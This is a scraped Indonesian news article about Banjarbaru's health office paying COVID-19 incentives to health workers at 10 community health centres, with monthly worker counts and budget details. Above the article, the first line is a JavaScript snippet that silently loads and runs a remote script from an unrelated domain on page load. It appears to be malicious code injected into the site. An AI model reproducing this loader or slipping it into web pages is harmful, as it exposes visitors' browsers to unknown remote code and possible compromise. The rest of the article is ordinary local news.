(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru sempat jadi sorotan karena belum membayar insentif tenaga kesehatan dari Januari sampai September.
Kepala Dinas Kesehatan Kota Banjarbaru, Rizana Mirza mengatakan, saat ini pihaknya sudah melalukan pembayaran insentif kepada 10 Puskesmas yang ada di lingkup Dinkes. Sedangkan untuk tenaga kesehatan di RSD Idaman, mereka mengelola tersendiri untuk insentif nakesnya.
“Alhamdulillah insentif pada tahun 2020 sudah dibayarkan kepada nakes sebesar Rp 12 miliar lebih,” katanya.
Kadinkes menambahkan, hingga hari ini sudah membayarkan insentif Nakes dari Januari hingga September dengan total Rp 8 miliar lebih untuk 10 Puskesmas.
Baca juga : Jembatan Sungai Alalak Akhirnya Diresmikan, Jokowi: Insyaallah Bertahan 100 Tahun
Diakuinya Rizana Mirza, Dinkes sempat terkendala kekurangan anggaran. Namun hal terseut bisa diselesaikan pada anggaran perubahan yang baru disahkan oleh DPRD Kota Banjarbaru.
Seminggu setelah diketok, Dinkes langsung melakukan verifikasi dan langsung merealisasikan ke masing-masing Nakes.
“Jumlah Nakes tergantung kasus Covid-19 yang mereka tangani di setiap Puskesmasnya, terbanyak pada bulan Juli dan Agustus,” terangnya.
Berikut jumlah Nakes di Kota Banjarbaru, pada bulan Januari 141 orang, Februari 215 orang, Maret 218 orang, April 190 orang, Mei 95 orang, Juni 90 orang, Juli 229 orang, Agustus 226 orang, dan terakhir September 118 orang, yang sudah dibayarkan insentifnya.
Jumlah insentif yang diterima untuk tenaga kesehatan di lingkup Dinkes, Puskesmas dan laboratorium yang ditetapkan oleh Kemenkes setinggi-tingginya sebesar Rp 5 juta.
Baca juga : Kumpulkan Warga, Kecamatan Banjarbaru Selatan Bahas Banjir hingga Tata Kelola Sampah
Rizana Riza mengungkapkan pada awalnya insentif untuk Nakes Covid-19 pada tahun 2020 dikelola oleh Pemerintah Pusat dan berjalan sampai September 2020, yang dimana sisanya dilimpahkan kepada Pemerintah Daerah untuk pembayaran insentif Nakes.
Pada saat itu Pemda tidak mampu membayar secara penuh insentif Nakes hanya bisa membayarkan 70 persen, dan setelah dikoordinasikan kepada Nakes di Puskesmas mereka setuju untuk dibayar tidak 100 persen.
Sebelumnya Pemko bersama Dinkes sudah berniat mengeksekusi kesepakatan tersebut. Namun Pemerintah Pusat mengeluarkan surat Edaran Kementerian Dalam Negeri untuk memastikan agar insentif yang dibayarkan jumlahnya tidak boleh kurang dari tahun 2020. Sehingga anggaran tersebut dimasukkan ke dalam anggaran perubahan Pemko Banjarbaru. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.